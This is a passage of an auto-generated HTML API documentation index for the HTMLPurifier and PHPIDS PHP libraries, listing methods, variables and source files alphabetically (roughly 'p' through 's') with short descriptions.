href="default/HTMLPurifier_TagTransform.html#methodprependCSS">HTMLPurifier_TagTransform::prependCSS()</a> in TagTransform.php</div> - <div class="index-item-description">Prepends CSS properties to the style attribute, creating the attribute if it doesn't exist.</div> - </dd> - <dt class="field"> - <span class="method-title">processModule</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModuleManager.html#methodprocessModule">HTMLPurifier_HTMLModuleManager::processModule()</a> in HTMLModuleManager.php</div> - <div class="index-item-description">Takes a module and adds it to the active module collection, registering it if necessary.</div> - </dd> - <dt class="field"> - <span class="method-title">processModules</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLDefinition.html#methodprocessModules">HTMLPurifier_HTMLDefinition::processModules()</a> in HTMLDefinition.php</div> - <div class="index-item-description">Extract out the information from the manager</div> - </dd> - <dt class="field"> - <span class="method-title">processToken</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy_MakeWellFormed.html#methodprocessToken">HTMLPurifier_Strategy_MakeWellFormed::processToken()</a> in MakeWellFormed.php</div> - <div class="index-item-description">Processes arbitrary token values for complicated substitution patterns.</div> - </dd> - <dt class="field"> - <span class="method-title">purify</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier.html#methodpurify">HTMLPurifier::purify()</a> in HTMLPurifier.php</div> - <div class="index-item-description">Filters an HTML snippet/document to be XSS-free and standards-compliant.</div> - </dd> - <dt class="field"> - <span class="method-title">purifyArray</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier.html#methodpurifyArray">HTMLPurifier::purifyArray()</a> in HTMLPurifier.php</div> - <div class="index-item-description">Filters an array of HTML snippets</div> - </dd> - <dt class="field"> - <span class="include-title">Percentage.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---CSS---Percentage.php.html">Percentage.php</a> in Percentage.php</div> - </dd> - <dt class="field"> - <span class="include-title">Pixels.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---AttrDef---HTML---Pixels.php.html">Pixels.php</a> in Pixels.php</div> - </dd> - <dt class="field"> - <span class="include-title">Presentation.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---Presentation.php.html">Presentation.php</a> in Presentation.php</div> - </dd> - <dt class="field"> - <span class="include-title">Proprietary.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---Proprietary.php.html">Proprietary.php</a> in Proprietary.php</div> - </dd> - <dt class="field"> - <span class="include-title">Proprietary.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---Tidy---Proprietary.php.html">Proprietary.php</a> in Proprietary.php</div> - </dd> - <dt class="field"> - <span class="include-title">PurifierLinkify.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Injector---PurifierLinkify.php.html">PurifierLinkify.php</a> in PurifierLinkify.php</div> - </dd> - <dt class="field"> - <span class="include-title">PEARSax3.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Lexer---PEARSax3.php.html">PEARSax3.php</a> in PEARSax3.php</div> - </dd> - <dt class="field"> - <span class="include-title">PH5P.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Lexer---PH5P.php.html">PH5P.php</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="include-title">PercentEncoder.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---PercentEncoder.php.html">PercentEncoder.php</a> in PercentEncoder.php</div> - </dd> - <dt class="field"> - <span class="include-title">Printer.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Printer.php.html">Printer.php</a> in Printer.php</div> - </dd> - </dl> - <a name="q"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">q</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$query</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URI.html#var$query">HTMLPurifier_URI::$query</a> in URI.php</div> - </dd> - </dl> - <a name="r"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">r</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$real_elements</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_StrictBlockquote.html#var$real_elements">HTMLPurifier_ChildDef_StrictBlockquote::$real_elements</a> in StrictBlockquote.php</div> - </dd> - <dt class="field"> - <span class="var-title">$registeredFilters</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIDefinition.html#var$registeredFilters">HTMLPurifier_URIDefinition::$registeredFilters</a> in URIDefinition.php</div> - </dd> - <dt class="field"> - <span class="var-title">$registeredModules</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModuleManager.html#var$registeredModules">HTMLPurifier_HTMLModuleManager::$registeredModules</a> in HTMLModuleManager.php</div> - <div class="index-item-description">Array of recognized HTMLPurifier_Module instances, indexed by module's class name. This array is usually lazy loaded, but a user can overload a module by pre-emptively registering it.</div> - </dd> - <dt class="field"> - <span class="var-title">$replace</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIFilter_Munge.html#var$replace">HTMLPurifier_URIFilter_Munge::$replace</a> in Munge.php</div> - </dd> - <dt class="field"> - <span class="var-title">$required</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef.html#var$required">HTMLPurifier_AttrDef::$required</a> in AttrDef.php</div> - <div class="index-item-description">Tells us whether or not an HTML attribute is required. Has no</div> - </dd> - <dt class="field"> - <span class="var-title">$required_attr</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ElementDef.html#var$required_attr">HTMLPurifier_ElementDef::$required_attr</a> in ElementDef.php</div> - <div class="index-item-description">List of the names of required attributes this element has. Dynamically</div> - </dd> - <dt class="field"> - <span class="var-title">$rewind</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token.html#var$rewind">HTMLPurifier_Token::$rewind</a> in Token.php</div> - </dd> - <dt class="field"> - <span class="var-title">$rewind</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector.html#var$rewind">HTMLPurifier_Injector::$rewind</a> in Injector.php</div> - <div class="index-item-description">Index of inputTokens to rewind to.</div> - </dd> - <dt class="field"> - <span class="var-title">$rows</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_ConfigForm_default.html#var$rows">HTMLPurifier_Printer_ConfigForm_default::$rows</a> in ConfigForm.php</div> - </dd> - <dt class="field"> - <span class="var-title">$rule</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter.html#var$rule">IDS_Filter::$rule</a> in Filter.php</div> - <div class="index-item-description">Filter rule</div> - </dd> - <dt class="field"> - <span class="method-title">rawPosition</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token.html#methodrawPosition">HTMLPurifier_Token::rawPosition()</a> in Token.php</div> - <div class="index-item-description">Convenience function for DirectLex settings line/col position.</div> - </dd> - <dt class="field"> - RCDATA - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5.html#constRCDATA">HTML5::RCDATA</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="method-title">register</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DoctypeRegistry.html#methodregister">HTMLPurifier_DoctypeRegistry::register()</a> in DoctypeRegistry.php</div> - <div class="index-item-description">Registers a doctype to the registry</div> - </dd> - <dt class="field"> - <span class="method-title">register</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URISchemeRegistry.html#methodregister">HTMLPurifier_URISchemeRegistry::register()</a> in URISchemeRegistry.php</div> - <div class="index-item-description">Registers a custom scheme to the cache, bypassing reflection.</div> - </dd> - <dt class="field"> - <span class="method-title">register</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCacheFactory.html#methodregister">HTMLPurifier_DefinitionCacheFactory::register()</a> in DefinitionCacheFactory.php</div> - <div class="index-item-description">Registers a new definition cache object</div> - </dd> - <dt class="field"> - <span class="method-title">register</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Context.html#methodregister">HTMLPurifier_Context::register()</a> in Context.php</div> - <div class="index-item-description">Registers a variable into the context.</div> - </dd> - <dt class="field"> - <span class="method-title">registerAutoload</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Bootstrap.html#methodregisterAutoload">HTMLPurifier_Bootstrap::registerAutoload()</a> in Bootstrap.php</div> - <div class="index-item-description">"Pre-registers" our autoloader on the SPL stack.</div> - </dd> - <dt class="field"> - <span class="method-title">registerFilter</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URIDefinition.html#methodregisterFilter">HTMLPurifier_URIDefinition::registerFilter()</a> in URIDefinition.php</div> - </dd> - <dt class="field"> - <span class="method-title">registerModule</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModuleManager.html#methodregisterModule">HTMLPurifier_HTMLModuleManager::registerModule()</a> in HTMLModuleManager.php</div> - <div class="index-item-description">Registers a module to the recognized module list, useful for overloading pre-existing modules.</div> - </dd> - <dt class="field"> - <span class="method-title">remove</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Serializer.html#methodremove">HTMLPurifier_DefinitionCache_Serializer::remove()</a> in Serializer.php</div> - </dd> - <dt class="field"> - <span class="method-title">remove</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache.html#methodremove">HTMLPurifier_DefinitionCache::remove()</a> in DefinitionCache.php</div> - <div class="index-item-description">Removes a definition object to the cache</div> - </dd> - <dt class="field"> - <span class="method-title">remove</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Null.html#methodremove">HTMLPurifier_DefinitionCache_Null::remove()</a> in Null.php</div> - </dd> - <dt class="field"> - <span class="method-title">remove</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator.html#methodremove">HTMLPurifier_DefinitionCache_Decorator::remove()</a> in Decorator.php</div> - </dd> - <dt class="field"> - <span class="method-title">removeLogger</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Composite.html#methodremoveLogger">IDS_Log_Composite::removeLogger()</a> in Composite.php</div> - <div class="index-item-description">Removes a logger</div> - </dd> - <dt class="field"> - <span class="method-title">render</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_ConfigForm_default.html#methodrender">HTMLPurifier_Printer_ConfigForm_default::render()</a> in ConfigForm.php</div> - </dd> - <dt class="field"> - <span class="method-title">render</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_HTMLDefinition.html#methodrender">HTMLPurifier_Printer_HTMLDefinition::render()</a> in HTMLDefinition.php</div> - </dd> - <dt class="field"> - <span class="method-title">render</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_ConfigForm_NullDecorator.html#methodrender">HTMLPurifier_Printer_ConfigForm_NullDecorator::render()</a> in ConfigForm.php</div> - </dd> - <dt class="field"> - <span class="method-title">render</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_CSSDefinition.html#methodrender">HTMLPurifier_Printer_CSSDefinition::render()</a> in CSSDefinition.php</div> - </dd> - <dt class="field"> - <span class="method-title">render</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_ConfigForm_bool.html#methodrender">HTMLPurifier_Printer_ConfigForm_bool::render()</a> in ConfigForm.php</div> - </dd> - <dt class="field"> - <span class="method-title">render</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_ConfigForm.html#methodrender">HTMLPurifier_Printer_ConfigForm::render()</a> in ConfigForm.php</div> - <div class="index-item-description">Returns HTML output for a configuration form</div> - </dd> - <dt class="field"> - <span class="method-title">renderChildren</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_HTMLDefinition.html#methodrenderChildren">HTMLPurifier_Printer_HTMLDefinition::renderChildren()</a> in HTMLDefinition.php</div> - <div class="index-item-description">Renders a row describing the allowed children of an element</div> - </dd> - <dt class="field"> - <span class="method-title">renderContentSets</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_HTMLDefinition.html#methodrenderContentSets">HTMLPurifier_Printer_HTMLDefinition::renderContentSets()</a> in HTMLDefinition.php</div> - <div class="index-item-description">Renders the Content Sets table</div> - </dd> - <dt class="field"> - <span class="method-title">renderDoctype</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_HTMLDefinition.html#methodrenderDoctype">HTMLPurifier_Printer_HTMLDefinition::renderDoctype()</a> in HTMLDefinition.php</div> - <div class="index-item-description">Renders the Doctype table</div> - </dd> - <dt class="field"> - <span class="method-title">renderEnvironment</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_HTMLDefinition.html#methodrenderEnvironment">HTMLPurifier_Printer_HTMLDefinition::renderEnvironment()</a> in HTMLDefinition.php</div> - <div class="index-item-description">Renders environment table, which is miscellaneous info</div> - </dd> - <dt class="field"> - <span class="method-title">renderInfo</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_HTMLDefinition.html#methodrenderInfo">HTMLPurifier_Printer_HTMLDefinition::renderInfo()</a> in HTMLDefinition.php</div> - <div class="index-item-description">Renders the Elements ($info) table</div> - </dd> - <dt class="field"> - <span class="method-title">renderNamespace</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer_ConfigForm.html#methodrenderNamespace">HTMLPurifier_Printer_ConfigForm::renderNamespace()</a> in ConfigForm.php</div> - <div class="index-item-description">Renders a single namespace</div> - </dd> - <dt class="field"> - <span class="method-title">replace</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator_Cleanup.html#methodreplace">HTMLPurifier_DefinitionCache_Decorator_Cleanup::replace()</a> in Cleanup.php</div> - </dd> - <dt class="field"> - <span class="method-title">replace</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator_Memory.html#methodreplace">HTMLPurifier_DefinitionCache_Decorator_Memory::replace()</a> in Memory.php</div> - </dd> - <dt class="field"> - <span class="method-title">replace</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache.html#methodreplace">HTMLPurifier_DefinitionCache::replace()</a> in DefinitionCache.php</div> - <div class="index-item-description">Replace an object in the cache</div> - </dd> - <dt class="field"> - <span class="method-title">replace</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator.html#methodreplace">HTMLPurifier_DefinitionCache_Decorator::replace()</a> in Decorator.php</div> - </dd> - <dt class="field"> - <span class="method-title">replace</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Serializer.html#methodreplace">HTMLPurifier_DefinitionCache_Serializer::replace()</a> in Serializer.php</div> - </dd> - <dt class="field"> - <span class="method-title">replace</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Null.html#methodreplace">HTMLPurifier_DefinitionCache_Null::replace()</a> in Null.php</div> - </dd> - <dt class="field"> - <span class="include-title">Report.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Report.php.html">Report.php</a> in Report.php</div> - </dd> - <dt class="field"> - <span class="method-title">resetAccessed</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_StringHash.html#methodresetAccessed">HTMLPurifier_StringHash::resetAccessed()</a> in StringHash.php</div> - <div class="index-item-description">Resets the access array.</div> - </dd> - <dt class="field"> - <span class="method-title">rewind</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector.html#methodrewind">HTMLPurifier_Injector::rewind()</a> in Injector.php</div> - <div class="index-item-description">Rewind to a spot to re-perform processing. This is useful if you deleted a node, and now need to see if this change affected any earlier nodes. Rewinding does not affect other injectors, and can result in infinite loops if not used carefully.</div> - </dd> - <dt class="field"> - ROOT_PHASE - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constROOT_PHASE">HTML5TreeConstructer::ROOT_PHASE</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="method-title">row</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Printer.html#methodrow">HTMLPurifier_Printer::row()</a> in Printer.php</div> - <div class="index-item-description">Prints a simple key/value row in a table.</div> - </dd> - <dt class="field"> - <span class="method-title">run</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#methodrun">IDS_Monitor::run()</a> in Monitor.php</div> - <div class="index-item-description">Starts the scan mechanism</div> - </dd> - <dt class="field"> - <span class="method-title">runAll</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodrunAll">IDS_Converter::runAll()</a> in Converter.php</div> - <div class="index-item-description">Runs all converter functions</div> - </dd> - <dt class="field"> - <span class="method-title">runCentrifuge</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Converter.html#methodrunCentrifuge">IDS_Converter::runCentrifuge()</a> in Converter.php</div> - <div class="index-item-description">This method is the centrifuge prototype</div> - </dd> - <dt class="field"> - <span class="include-title">Required.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---ChildDef---Required.php.html">Required.php</a> in Required.php</div> - </dd> - <dt class="field"> - <span class="include-title">Ruby.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---HTMLModule---Ruby.php.html">Ruby.php</a> in Ruby.php</div> - </dd> - <dt class="field"> - <span class="include-title">RemoveEmpty.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Injector---RemoveEmpty.php.html">RemoveEmpty.php</a> in RemoveEmpty.php</div> - </dd> - <dt class="field"> - <span class="include-title">RemoveForeignElements.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/_vendors---htmlpurifier---HTMLPurifier---Strategy---RemoveForeignElements.php.html">RemoveForeignElements.php</a> in RemoveForeignElements.php</div> - </dd> - </dl> - <a name="s"></a> - <div class="index-letter-section"> - <div style="float: left" class="index-letter-title">s</div> - <div style="float: right"><a href="#top">top</a></div> - <div style="clear: both"></div> - </div> - <dl> - <dt class="field"> - <span class="var-title">$safe</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Scripting.html#var$safe">HTMLPurifier_HTMLModule_Scripting::$safe</a> in Scripting.php</div> - </dd> - <dt class="field"> - <span class="var-title">$safe</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule.html#var$safe">HTMLPurifier_HTMLModule::$safe</a> in HTMLModule.php</div> - <div class="index-item-description">Boolean flag whether or not this module is safe. If it is not safe, all</div> - </dd> - <dt class="field"> - <span class="var-title">$safe</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Forms.html#var$safe">HTMLPurifier_HTMLModule_Forms::$safe</a> in Forms.php</div> - </dd> - <dt class="field"> - <span class="var-title">$safe</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Object.html#var$safe">HTMLPurifier_HTMLModule_Object::$safe</a> in Object.php</div> - </dd> - <dt class="field"> - <span class="var-title">$scanKeys</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Monitor.html#var$scanKeys">IDS_Monitor::$scanKeys</a> in Monitor.php</div> - <div class="index-item-description">Scan keys switch</div> - </dd> - <dt class="field"> - <span class="var-title">$scheme</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URI.html#var$scheme">HTMLPurifier_URI::$scheme</a> in URI.php</div> - </dd> - <dt class="field"> - <span class="var-title">$schemes</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_URISchemeRegistry.html#var$schemes">HTMLPurifier_URISchemeRegistry::$schemes</a> in URISchemeRegistry.php</div> - <div class="index-item-description">Cache of retrieved schemes.</div> - </dd> - <dt class="field"> - <span class="var-title">$serial</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#var$serial">HTMLPurifier_Config::$serial</a> in Config.php</div> - <div class="index-item-description">Serial for entire configuration object</div> - </dd> - <dt class="field"> - <span class="var-title">$serials</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html#var$serials">HTMLPurifier_Config::$serials</a> in Config.php</div> - <div class="index-item-description">Namespace indexed array of serials for specific namespaces (see getSerial() for more info).</div> - </dd> - <dt class="field"> - <span class="var-title">$setup</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Definition.html#var$setup">HTMLPurifier_Definition::$setup</a> in Definition.php</div> - <div class="index-item-description">Has setup() been called yet?</div> - </dd> - <dt class="field"> - <span class="var-title">$single</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrDef_CSS_Multiple.html#var$single">HTMLPurifier_AttrDef_CSS_Multiple::$single</a> in Multiple.php</div> - <div class="index-item-description">Instance of component definition to defer validation to.</div> - </dd> - <dt class="field"> - <span class="var-title">$singleton</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema.html#var$singleton">HTMLPurifier_ConfigSchema::$singleton</a> in ConfigSchema.php</div> - <div class="index-item-description">Application-wide singleton</div> - </dd> - <dt class="field"> - <span class="var-title">$skip</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token.html#var$skip">HTMLPurifier_Token::$skip</a> in Token.php</div> - <div class="index-item-description">Used during MakeWellFormed.</div> - </dd> - <dt class="field"> - <span class="var-title">$source</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Filter_Storage.html#var$source">IDS_Filter_Storage::$source</a> in Storage.php</div> - <div class="index-item-description">Filter source file</div> - </dd> - <dt class="field"> - <span class="var-title">$stack</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy_MakeWellFormed.html#var$stack">HTMLPurifier_Strategy_MakeWellFormed::$stack</a> in MakeWellFormed.php</div> - <div class="index-item-description">Current nesting of elements.</div> - </dd> - <dt class="field"> - <span class="var-title">$stack</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#var$stack">HTML5TreeConstructer::$stack</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="var-title">$standalone</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ElementDef.html#var$standalone">HTMLPurifier_ElementDef::$standalone</a> in ElementDef.php</div> - <div class="index-item-description">Does the definition work by itself, or is it created solely</div> - </dd> - <dt class="field"> - <span class="var-title">$start</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Token_End.html#var$start">HTMLPurifier_Token_End::$start</a> in End.php</div> - <div class="index-item-description">Token that started this node. Added by MakeWellFormed. Please</div> - </dd> - <dt class="field"> - <span class="var-title">$strategies</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Strategy_Composite.html#var$strategies">HTMLPurifier_Strategy_Composite::$strategies</a> in Composite.php</div> - <div class="index-item-description">List of strategies to run tokens through.</div> - </dd> - <dt class="field"> - <span class="var-title">$strategy</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier.html#var$strategy">HTMLPurifier::$strategy</a> in HTMLPurifier.php</div> - </dd> - <dt class="field"> - <span class="var-title">$stringTypes</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_VarParser.html#var$stringTypes">HTMLPurifier_VarParser::$stringTypes</a> in VarParser.php</div> - <div class="index-item-description">Lookup table of types that are string, and can have aliases or allowed value lists.</div> - </dd> - <dt class="field"> - <span class="var-title">$style</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_TagTransform_Simple.html#var$style">HTMLPurifier_TagTransform_Simple::$style</a> in Simple.php</div> - </dd> - <dt class="field"> - <span class="include-title">Session.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Caching---Session.php.html">Session.php</a> in Session.php</div> - </dd> - <dt class="field"> - <span class="include-title">Storage.php</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/_Filter---Storage.php.html">Storage.php</a> in Storage.php</div> - </dd> - <dt class="field"> - <span class="method-title">save</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#methodsave">HTML5TreeConstructer::save()</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="method-title">save</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5.html#methodsave">HTML5::save()</a> in PH5P.php</div> - </dd> - <dt class="field"> - SCOPING - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTML5TreeConstructer.html#constSCOPING">HTML5TreeConstructer::SCOPING</a> in PH5P.php</div> - </dd> - <dt class="field"> - <span class="method-title">scriptCallback</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_DirectLex.html#methodscriptCallback">HTMLPurifier_Lexer_DirectLex::scriptCallback()</a> in DirectLex.php</div> - <div class="index-item-description">Callback function for script CDATA fudge</div> - </dd> - <dt class="field"> - <span class="method-title">send</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="PHPIDS/IDS_Log_Email.html#methodsend">IDS_Log_Email::send()</a> in Email.php</div> - <div class="index-item-description">Sends an email</div> - </dd> - <dt class="field"> - <span class="method-title">send</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorCollector.html#methodsend">HTMLPurifier_ErrorCollector::send()</a> in ErrorCollector.php</div> - <div class="index-item-description">Sends an error message to the collector for later use</div> - </dd> - <dt class="field"> - <span class="method-title">set</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Serializer.html#methodset">HTMLPurifier_DefinitionCache_Serializer::set()</a> in Serializer.php</div> - </dd> - <dt class="field"> - <span class="method-title">set</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_AttrTypes.html#methodset">HTMLPurifier_AttrTypes::set()</a> in AttrTypes.php</div> - <div class="index-item-description">Sets a new implementation for a type</div> - </dd> - <dt class="field"> - <span class="method-title">set</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator_Memory.html#methodset">HTMLPurifier_DefinitionCache_Decorator_Memory::set()</a> in Memory.php</div> - </dd> - <dt class="field"> - <span class="method-title">set</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Null.html#methodset">HTMLPurifier_DefinitionCache_Null::set()</a> in Null.php</div> - </dd> - <dt class="field"> - <span class="method-title">set</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator.html#methodset">HTMLPurifier_DefinitionCache_Decorator::set()</a> in Decorator.php</div> - </dd> - <dt class="field"> - <span class="method-title">set</span> - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a 